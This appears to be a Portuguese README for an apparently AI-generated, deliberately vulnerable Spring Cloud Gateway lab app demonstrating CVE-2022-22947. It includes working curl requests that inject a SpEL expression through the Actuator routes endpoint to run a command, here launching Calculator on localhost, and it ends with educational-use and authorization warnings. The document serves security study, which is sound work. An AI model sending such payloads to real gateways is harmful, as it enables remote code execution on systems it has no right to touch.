
Um aplicativo de verificação de vulnerabilidades gerado por IA
Este é um aplicativo Spring Cloud Gateway projetado especificamente para demonstrar e verificar a vulnerabilidade CVE-2022-22947. O aplicativo usa uma versão vulnerável do Spring Cloud Gateway e pode executar código arbitrário por meio do endpoint Actuator.
O CVE-2022-22947 é uma vulnerabilidade de execução remota de código no Spring Cloud Gateway. Um atacante pode executar código arbitrário adicionando dinamicamente rotas contendo expressões SpEL maliciosas por meio do endpoint Actuator.
mvn spring-boot:run
O aplicativo será iniciado em http://localhost:8080.
Envie uma solicitação POST para o endpoint /actuator/gateway/routes/test para adicionar uma rota contendo uma expressão SpEL maliciosa:
curl -X POST http://localhost:8080/actuator/gateway/routes/test \
-H "Content-Type: application/json" \
-d '{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}'
Envie uma solicitação POST para o endpoint /actuator/gateway/refresh para atualizar as rotas:
curl -X POST http://localhost:8080/actuator/gateway/refresh
Acesse a rota maliciosa para acionar a execução do código:
curl http://localhost:8080/test
Após explorar a vulnerabilidade com sucesso, o aplicativo Calculadora do macOS será iniciado.
Endpoint: POST /actuator/gateway/routes/test
Cabeçalhos da solicitação:
Content-Type: application/json
Corpo da solicitação:
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}
Endpoint: POST /actuator/gateway/refresh
Endpoint: GET /test
Essa vulnerabilidade permite que um atacante adicione rotas dinamicamente por meio do endpoint Actuator e use expressões SpEL nos filtros de rota para executar código arbitrário. O núcleo da vulnerabilidade está no tratamento inadequado de expressões SpEL na configuração de rotas pelo Spring Cloud Gateway.
⚠️ Aviso de segurança: Este aplicativo destina-se apenas a fins educacionais e de pesquisa em segurança. Não use nem implante este aplicativo em ambiente de produção.
⚠️ Aviso legal: Ao usar este aplicativo para testes de vulnerabilidade, certifique-se de ter autorização adequada. Testes não autorizados podem violar leis e regulamentos.